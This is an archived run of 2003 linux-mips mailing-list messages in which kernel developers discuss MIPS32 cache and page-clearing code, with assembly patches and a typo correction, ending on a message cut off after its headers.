  bc8d0000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cache&nbsp;&nbsp;=20
  0xd,0($a0)</TT> <BR><TT>8010965c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  fc800000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
sdc3&nbsp;&nbsp;&nbsp;=20
  $0,0($a0)</TT> <BR><TT>80109660:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  fc800008&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
sdc3&nbsp;&nbsp;&nbsp;=20
  $0,8($a0)</TT> <BR><TT>80109664:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  fc800010&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
sdc3&nbsp;&nbsp;&nbsp;=20
  $0,16($a0)</TT> <BR><TT>80109668:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  fc800018&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
sdc3&nbsp;&nbsp;&nbsp;=20
  $0,24($a0)</TT> <BR><TT>8010966c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  24840040&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; addiu&nbsp;&nbsp;=20
  $a0,$a0,64</TT> <BR><TT>80109670:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  bc8dffe0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cache&nbsp;&nbsp;=20
  0xd,-32($a0)</TT> =
<BR><TT>80109674:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  fc80ffe0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
sdc3&nbsp;&nbsp;&nbsp;=20
  $0,-32($a0)</TT> <BR><TT>80109678:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =

  fc80ffe8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
sdc3&nbsp;&nbsp;&nbsp;=20
  $0,-24($a0)</TT> <BR><TT>8010967c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =

  fc80fff0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
sdc3&nbsp;&nbsp;&nbsp;=20
  $0,-16($a0)</TT> <BR><TT>80109680:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =

  1424fff5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
bne&nbsp;&nbsp;&nbsp;&nbsp;=20
  $at,$a0,80109658 &lt;r4k_clear_page_d32+0x4&gt;</TT>=20
  <BR><TT>80109684:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  fc80fff8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
sdc3&nbsp;&nbsp;&nbsp;=20
  $0,-8($a0)</TT> <BR><TT>80109688:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  03e00008&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  jr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ra</TT><TT></TT>=20
  <P><TT>It seems much of the r4k cache code assumes the presence of =
SD&nbsp;-=20
  which breaks on all MIPS32 CPU's?</TT><TT></TT>=20
  <P><TT>/Hartvig</TT> <BR><TT></TT>&nbsp; =
</P></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_00C1_01C30428.C88D6B20--


From macro@ds2.pg.gda.pl Wed Apr 16 14:17:24 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 16 Apr 2003 14:17:25 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:48378 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225294AbTDPNRY>; Wed, 16 Apr 2003 14:17:24 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id PAA01871;
	Wed, 16 Apr 2003 15:17:51 +0200 (MET DST)
Date: Wed, 16 Apr 2003 15:17:50 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Hartvig Ekner <hartvig@ekner.info>
cc: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: MIPS32 cache functions now using c-r4k?
In-Reply-To: <3E9D0C34.38FE2749@ekner.info>
Message-ID: <Pine.GSO.3.96.1030416151228.1322A-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2078
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Wed, 16 Apr 2003, Hartvig Ekner wrote:

> Which is:
> 
> 80109654 <r4k_clear_page_d32>:
> 80109654:       24811000        addiu   $at,$a0,4096
> 80109658:       bc8d0000        cache   0xd,0($a0)
> 8010965c:       fc800000        sdc3    $0,0($a0)
> 80109660:       fc800008        sdc3    $0,8($a0)
> 80109664:       fc800010        sdc3    $0,16($a0)
> 80109668:       fc800018        sdc3    $0,24($a0)
> 8010966c:       24840040        addiu   $a0,$a0,64
> 80109670:       bc8dffe0        cache   0xd,-32($a0)
> 80109674:       fc80ffe0        sdc3    $0,-32($a0)
> 80109678:       fc80ffe8        sdc3    $0,-24($a0)
> 8010967c:       fc80fff0        sdc3    $0,-16($a0)
> 80109680:       1424fff5        bne     $at,$a0,80109658 <r4k_clear_page_d32+0x4>
> 80109684:       fc80fff8        sdc3    $0,-8($a0)
> 80109688:       03e00008        jr      $ra
> 
> It seems much of the r4k cache code assumes the presence of SD - which breaks on all MIPS32 CPU's?

 Not much -- only arch/mips/mm/pg-r4k.S.  It looks like MIPS32 needs an
own implementation -- trivially different and half as fast.

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From macro@ds2.pg.gda.pl Wed Apr 16 14:19:36 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 16 Apr 2003 14:19:37 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:51706 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225294AbTDPNTe>; Wed, 16 Apr 2003 14:19:34 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id PAA01905;
	Wed, 16 Apr 2003 15:19:57 +0200 (MET DST)
Date: Wed, 16 Apr 2003 15:19:57 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: "Kevin D. Kissell" <kevink@mips.com>
cc: Hartvig Ekner <hartvig@ekner.info>,
	Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: MIPS32 cache functions now using c-r4k?
In-Reply-To: <00c401c30418$0d9d1370$10eca8c0@grendel>
Message-ID: <Pine.GSO.3.96.1030416151808.1322B-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2079
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Wed, 16 Apr 2003, Kevin D. Kissell wrote:

> The whole point of creating the generic MIPS32 MMU and cache
> routines was to have something that would run on both 32-bit and
> 64-bit processors.  Who decided to throw them away and abandon 
> support for 32-bit-only CPUs other than the R3000, and why?

 It's a plain bug and then a trivial one.  I don't think anybody meant to
abandon MIPS32.

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From macro@ds2.pg.gda.pl Wed Apr 16 14:34:54 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 16 Apr 2003 14:34:55 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:11259 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225294AbTDPNey>; Wed, 16 Apr 2003 14:34:54 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id PAA02114;
	Wed, 16 Apr 2003 15:35:30 +0200 (MET DST)
Date: Wed, 16 Apr 2003 15:35:30 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
Reply-To: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Ralf Baechle <ralf@linux-mips.org>
cc: Ashish anand <ashish.anand@inspiretech.com>,
	linux-mips@linux-mips.org
Subject: Re: vmalloc cached space..
In-Reply-To: <20030416135756.B29679@linux-mips.org>
Message-ID: <Pine.GSO.3.96.1030416152105.1322C-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2080
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Wed, 16 Apr 2003, Ralf Baechle wrote:

> > 2. i should use vmalloc_prot (size, PAGE_KERNEL_UNCACHED) in umap.c.
> 
> Uncached memory access is rarely necessary and so _extremly_ slow that it
> should be avoided at almost any price.  Maybe you should describe what
> you're trying to achieve, then let's see if there's a better suggestion
> we can make.

 In particular using cached accesses for stores and then doing writebacks
(plus invalidates if necessary) is still faster with WB caches. 

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From macro@ds2.pg.gda.pl Wed Apr 16 14:50:03 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 16 Apr 2003 14:50:04 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:35579 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225294AbTDPNuD>; Wed, 16 Apr 2003 14:50:03 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id PAA02253;
	Wed, 16 Apr 2003 15:46:54 +0200 (MET DST)
Date: Wed, 16 Apr 2003 15:46:54 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Atsushi Nemoto <anemo@mba.ocn.ne.jp>
cc: kevink@mips.com, linux-mips@linux-mips.org, source@mvista.com
Subject: Re: wbflush() abuse for TOSHIBA_RBTX4927
In-Reply-To: <20030416.205256.63134579.nemoto@toshiba-tops.co.jp>
Message-ID: <Pine.GSO.3.96.1030416153600.2017A-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2081
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Wed, 16 Apr 2003, Atsushi Nemoto wrote:

> macro> I suppose that's unrelated, since I'm specifically referring to
> macro> the way the buffer is handled in the TOSHIBA_RBTX4927 code --
> macro> the __wbflush() backend is not invoked by wbflush() and calls
> macro> like mb() (used by portable drivers) unless the kernel is
> macro> configured in an unobvious way and then there is duplicate
> macro> "sync" (but maybe that's needed, thus my question among
> macro> others).
> 
> I suppose it's just because the code was written before
> CONFIG_CPU_HAS_SYNC was introduced.

 It doesn't look so -- it appeared in the tree only a few days ago and
CONFIG_CPU_HAS_SYNC is there for almost a year now.  Even if maintained
privately since before CONFIG_CPU_HAS_SYNC, there was a lot of time to get
it fixed before merging.

> AFAIK TX49's SYNC instruction correctly flushes the write buffer.

 That would be an overkill; we only need to enforce strong ordering here.

> No bc0f loop is required.

 But an external buffer may be attached to a TX49 core, IIRC, so if it is
the case for TOSHIBA_RBTX4927, it's obviously needed.

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From ralf@linux-mips.net Wed Apr 16 15:08:25 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 16 Apr 2003 15:08:26 +0100 (BST)
Received: from p508B5469.dip.t-dialin.net ([IPv6:::ffff:80.139.84.105]:57771
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225294AbTDPOIZ>; Wed, 16 Apr 2003 15:08:25 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3GE8JT10873;
	Wed, 16 Apr 2003 16:08:19 +0200
Date: Wed, 16 Apr 2003 16:08:19 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: "Kevin D. Kissell" <kevink@mips.com>
Cc: Hartvig Ekner <hartvig@ekner.info>,
	Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: MIPS32 cache functions now using c-r4k?
Message-ID: <20030416160818.E9170@linux-mips.org>
References: <3E9D0C34.38FE2749@ekner.info> <00c401c30418$0d9d1370$10eca8c0@grendel>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <00c401c30418$0d9d1370$10eca8c0@grendel>; from kevink@mips.com on Wed, Apr 16, 2003 at 02:59:30PM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2082
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Wed, Apr 16, 2003 at 02:59:30PM +0200, Kevin D. Kissell wrote:

> The whole point of creating the generic MIPS32 MMU and cache
> routines was to have something that would run on both 32-bit and
> 64-bit processors.  Who decided to throw them away and abandon 
> support for 32-bit-only CPUs other than the R3000, and why?

Nobody did dump support for 32-bit only processors.

The read behind all this was in part that the pile of c-*.c files had
turned into some sort of barbed wire fence.  Code from c-r4k.c had been
replicated several times - including hundreds (conservative estimate) of
lines of dead code, plenty of bugs and lack of understanding how caches
are working.  At the same time that meant there was no way the old code
could have supported all available processor configurations on some
platforms.

So when I was doing some work related to signal handling I finally gave
up and started cleaning the the mess instead of doing the same change
to 42 copies of a function.

The result of the changes aside of a bunch of bugs - at less than 50% of
the binary size and hundreds of kilobytes of less sources a more generic
kernel with for most people dramatically improved performance.  Yes, a
few bugs crept in but I'd do it again at any time.

  Ralf

From ralf@linux-mips.net Wed Apr 16 15:59:30 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 16 Apr 2003 15:59:31 +0100 (BST)
Received: from p508B5469.dip.t-dialin.net ([IPv6:::ffff:80.139.84.105]:35756
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225302AbTDPO7X>; Wed, 16 Apr 2003 15:59:23 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3GExJK17650;
	Wed, 16 Apr 2003 16:59:19 +0200
Date: Wed, 16 Apr 2003 16:59:19 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Hartvig Ekner <hartvig@ekner.info>
Cc: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: MIPS32 cache functions now using c-r4k?
Message-ID: <20030416165919.A15111@linux-mips.org>
References: <3E9D0C34.38FE2749@ekner.info>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3E9D0C34.38FE2749@ekner.info>; from hartvig@ekner.info on Wed, Apr 16, 2003 at 09:54:28AM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2083
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Wed, Apr 16, 2003 at 09:54:28AM +0200, Hartvig Ekner wrote:

> It seems much of the r4k cache code assumes the presence of SD - which
> breaks on all MIPS32 CPU's?

Nothing a soldering iron and some patience couldn't fix ;)

Try below patch,

  Ralf

Index: arch/mips/mm/c-r4k.c
===================================================================
RCS file: /home/cvs/linux/arch/mips/mm/c-r4k.c,v
retrieving revision 1.3.2.43
diff -u -r1.3.2.43 c-r4k.c
--- arch/mips/mm/c-r4k.c	16 Apr 2003 12:41:18 -0000	1.3.2.43
+++ arch/mips/mm/c-r4k.c	16 Apr 2003 14:56:03 -0000
@@ -34,6 +34,8 @@
 #include <asm/cacheops.h>
 #include <asm/r4kcache.h>
 
+extern void r4k_clear_page32_d16(void * page);
+extern void r4k_clear_page32_d32(void * page);
 extern void r4k_clear_page_d16(void * page);
 extern void r4k_clear_page_d32(void * page);
 extern void r4k_clear_page_r4600_v1(void * page);
@@ -877,7 +879,10 @@
 
 	switch (current_cpu_data.dcache.linesz) {
 	case 16:
-		_clear_page = r4k_clear_page_d16;
+		if (cpu_has_64bits)
+			_clear_page = r4k_clear_page_d16;
+		else
+			_clear_page = r4k_clear_page32_d16;
 		_copy_page = r4k_copy_page_d16;
 
 		break;
@@ -890,7 +895,10 @@
 			_clear_page = r4k_clear_page_r4600_v2;
 			_copy_page = r4k_copy_page_r4600_v2;
 		} else {
-			_clear_page = r4k_clear_page_d32;
+			if (cpu_has_64bits)
+				_clear_page = r4k_clear_page_d32;
+			else
+				_clear_page = r4k_clear_page32_d32;
 			_copy_page = r4k_copy_page_d32;
 		}
 		break;
Index: arch/mips/mm/pg-r4k.S
===================================================================
RCS file: /home/cvs/linux/arch/mips/mm/pg-r4k.S,v
retrieving revision 1.2.2.3
diff -u -r1.2.2.3 pg-r4k.S
--- arch/mips/mm/pg-r4k.S	5 Aug 2002 23:53:35 -0000	1.2.2.3
+++ arch/mips/mm/pg-r4k.S	16 Apr 2003 14:56:07 -0000
@@ -39,6 +39,39 @@
  *   versions of R4000 and R4400.
  */
 
+LEAF(r4k_clear_page32_d16)
+	addiu	AT, a0, _PAGE_SIZE
+1:	cache	Create_Dirty_Excl_D, (a0)
+	sw	zero, (a0)
+	sw	zero, 4(a0)
+	sw	zero, 8(a0)
+	sw	zero, 12(a0)
+	addiu	a0, 32
+	cache	Create_Dirty_Excl_D, -16(a0)
+	sw	zero, -16(a0)
+	sw	zero, -12(a0)
+	sw	zero, -8(a0)
+	sw	zero, -4(a0)
+	bne	AT, a0, 1b
+	jr	ra
+	END(r4k_clear_page32_d16)
+
+LEAF(r4k_clear_page32_d32)
+	addiu	AT, a0, _PAGE_SIZE
+1:	cache	Create_Dirty_Excl_D, (a0)
+	sw	zero, (a0)
+	sw	zero, 4(a0)
+	sw	zero, 8(a0)
+	sw	zero, 12(a0)
+	addiu	a0, 64
+	sw	zero, -16(a0)
+	sw	zero, -12(a0)
+	sw	zero, -8(a0)
+	sw	zero, -4(a0)
+	bne	AT, a0, 1b
+	jr	ra
+	END(r4k_clear_page32_d32)
+
 LEAF(r4k_clear_page_d16)
 	addiu	AT, a0, _PAGE_SIZE
 1:	cache	Create_Dirty_Excl_D, (a0)
Index: include/asm-mips/cpu.h
===================================================================
RCS file: /home/cvs/linux/include/asm-mips/cpu.h,v
retrieving revision 1.24.2.18
diff -u -r1.24.2.18 cpu.h
--- include/asm-mips/cpu.h	15 Apr 2003 14:19:14 -0000	1.24.2.18
+++ include/asm-mips/cpu.h	16 Apr 2003 14:56:33 -0000
@@ -162,14 +162,20 @@
 
 /*
  * ISA Level encodings
+ *
  */
 #define MIPS_CPU_ISA_I		0x00000001
 #define MIPS_CPU_ISA_II		0x00000002
-#define MIPS_CPU_ISA_III	0x00000003
-#define MIPS_CPU_ISA_IV		0x00000004
-#define MIPS_CPU_ISA_V		0x00000005
+#define MIPS_CPU_ISA_III	0x00008003
+#define MIPS_CPU_ISA_IV		0x00008004
+#define MIPS_CPU_ISA_V		0x00008005
 #define MIPS_CPU_ISA_M32	0x00000020
-#define MIPS_CPU_ISA_M64	0x00000040
+#define MIPS_CPU_ISA_M64	0x00008040
+
+/*
+ * Bit 15 encodes if an ISA level supports 64-bit operations.
+ */
+#define MIPS_CPU_ISA_64BIT	0x00008000
 
 /*
  * CPU Option encodings
Index: include/asm-mips/processor.h
===================================================================
RCS file: /home/cvs/linux/include/asm-mips/processor.h,v
retrieving revision 1.43.2.18
diff -u -r1.43.2.18 processor.h
--- include/asm-mips/processor.h	15 Apr 2003 14:19:14 -0000	1.43.2.18
+++ include/asm-mips/processor.h	16 Apr 2003 14:56:46 -0000
@@ -93,6 +93,7 @@
 #define cpu_has_vtag_icache	(cpu_data[0].icache.flags & MIPS_CACHE_VTAG)
 #define cpu_has_dc_aliases	(cpu_data[0].dcache.flags & MIPS_CACHE_ALIASES)
 #define cpu_has_ic_fills_f_dc	(cpu_data[0].dcache.flags & MIPS_CACHE_IC_F_DC)
+#define cpu_has_64bits		(cpu_data[0].isa_level & MIPS_CPU_ISA_64BIT)
 
 extern struct cpuinfo_mips cpu_data[];
 #define current_cpu_data cpu_data[smp_processor_id()]

From jsun@mvista.com Wed Apr 16 17:51:40 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 16 Apr 2003 17:51:41 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:24053 "EHLO
	orion.mvista.com") by linux-mips.org with ESMTP id <S8225278AbTDPQvk>;
	Wed, 16 Apr 2003 17:51:40 +0100
Received: (from jsun@localhost)
	by orion.mvista.com (8.11.6/8.11.6) id h3GGpZc05684;
	Wed, 16 Apr 2003 09:51:35 -0700
Date: Wed, 16 Apr 2003 09:51:35 -0700
From: Jun Sun <jsun@mvista.com>
To: Ralf Baechle <ralf@linux-mips.org>
Cc: "Kevin D. Kissell" <kevink@mips.com>,
	Hartvig Ekner <hartvig@ekner.info>,
	Linux MIPS mailing list <linux-mips@linux-mips.org>,
	jsun@mvista.com
Subject: Re: MIPS32 cache functions now using c-r4k?
Message-ID: <20030416095135.U1642@mvista.com>
References: <3E9D0C34.38FE2749@ekner.info> <00c401c30418$0d9d1370$10eca8c0@grendel> <20030416160818.E9170@linux-mips.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20030416160818.E9170@linux-mips.org>; from ralf@linux-mips.org on Wed, Apr 16, 2003 at 04:08:19PM +0200
Return-Path: <jsun@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2084
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jsun@mvista.com
Precedence: bulk
X-list: linux-mips

On Wed, Apr 16, 2003 at 04:08:19PM +0200, Ralf Baechle wrote:
> On Wed, Apr 16, 2003 at 02:59:30PM +0200, Kevin D. Kissell wrote:
> 
> > The whole point of creating the generic MIPS32 MMU and cache
> > routines was to have something that would run on both 32-bit and
> > 64-bit processors.  Who decided to throw them away and abandon 
> > support for 32-bit-only CPUs other than the R3000, and why?
> 
> Nobody did dump support for 32-bit only processors.
> 
> The read behind all this was in part that the pile of c-*.c files had
> turned into some sort of barbed wire fence.  Code from c-r4k.c had been
> replicated several times - including hundreds (conservative estimate) of
> lines of dead code, plenty of bugs and lack of understanding how caches
> are working.  At the same time that meant there was no way the old code
> could have supported all available processor configurations on some
> platforms.
>

It is really a Good Thing(tm) to have a more uniformed cache routine
and actually an overall performance gain.  It makes the tree more maintainable
and that new abstraction enables us to accomodate any new wacky CPUs
if there dare to any. :)

This is a long overdue task.  And the first derailed c-* file really should
not be allowed at the first place. :)

Jun

From hartvig@ekner.info Wed Apr 16 18:50:06 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 16 Apr 2003 18:50:11 +0100 (BST)
Received: from pasmtp.tele.dk ([IPv6:::ffff:193.162.159.95]:35854 "EHLO
	pasmtp.tele.dk") by linux-mips.org with ESMTP id <S8225290AbTDPRuG>;
	Wed, 16 Apr 2003 18:50:06 +0100
Received: from ekner.info (0x83a4a968.virnxx10.adsl-dhcp.tele.dk [131.164.169.104])
	by pasmtp.tele.dk (Postfix) with ESMTP
	id 9F6DBB4F5; Wed, 16 Apr 2003 19:50:04 +0200 (CEST)
Message-ID: <3E9D9827.F2565C70@ekner.info>
Date: Wed, 16 Apr 2003 19:51:35 +0200
From: Hartvig Ekner <hartvig@ekner.info>
X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-19.7.x i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Ralf Baechle <ralf@linux-mips.org>
Cc: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: MIPS32 cache functions now using c-r4k?
References: <3E9D0C34.38FE2749@ekner.info> <20030416165919.A15111@linux-mips.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Return-Path: <hartvig@ekner.info>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2085
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hartvig@ekner.info
Precedence: bulk
X-list: linux-mips

Hi Ralf,

I'll test it out a little later this evening. But I think there is a typo and this patch should
be applied:

Index: pg-r4k.S
===================================================================
RCS file: /home/cvs/linux/arch/mips/mm/pg-r4k.S,v
retrieving revision 1.2.2.4
diff -u -r1.2.2.4 pg-r4k.S
--- pg-r4k.S    16 Apr 2003 17:00:23 -0000      1.2.2.4
+++ pg-r4k.S    16 Apr 2003 17:46:36 -0000
@@ -63,7 +63,7 @@
        sw      zero, 4(a0)
        sw      zero, 8(a0)
        sw      zero, 12(a0)
-       addiu   a0, 64
+       addiu   a0, 32
        sw      zero, -16(a0)
        sw      zero, -12(a0)
        sw      zero, -8(a0)

/Hartvig


Ralf Baechle wrote:

> On Wed, Apr 16, 2003 at 09:54:28AM +0200, Hartvig Ekner wrote:
>
> > It seems much of the r4k cache code assumes the presence of SD - which
> > breaks on all MIPS32 CPU's?
>
> Nothing a soldering iron and some patience couldn't fix ;)
>
> Try below patch,
>
>   Ralf


From ralf@linux-mips.net Wed Apr 16 20:19:37 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 16 Apr 2003 20:19:38 +0100 (BST)
Received: from p508B5469.dip.t-dialin.net ([IPv6:::ffff:80.139.84.105]:61359
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225302AbTDPTTh>; Wed, 16 Apr 2003 20:19:37 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3GJJU128171;
	Wed, 16 Apr 2003 21:19:30 +0200
Date: Wed, 16 Apr 2003 21:19:30 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Hartvig Ekner <hartvig@ekner.info>
Cc: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: MIPS32 cache functions now using c-r4k?
Message-ID: <20030416211930.A27981@linux-mips.org>
References: <3E9D0C34.38FE2749@ekner.info> <20030416165919.A15111@linux-mips.org> <3E9D9827.F2565C70@ekner.info>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
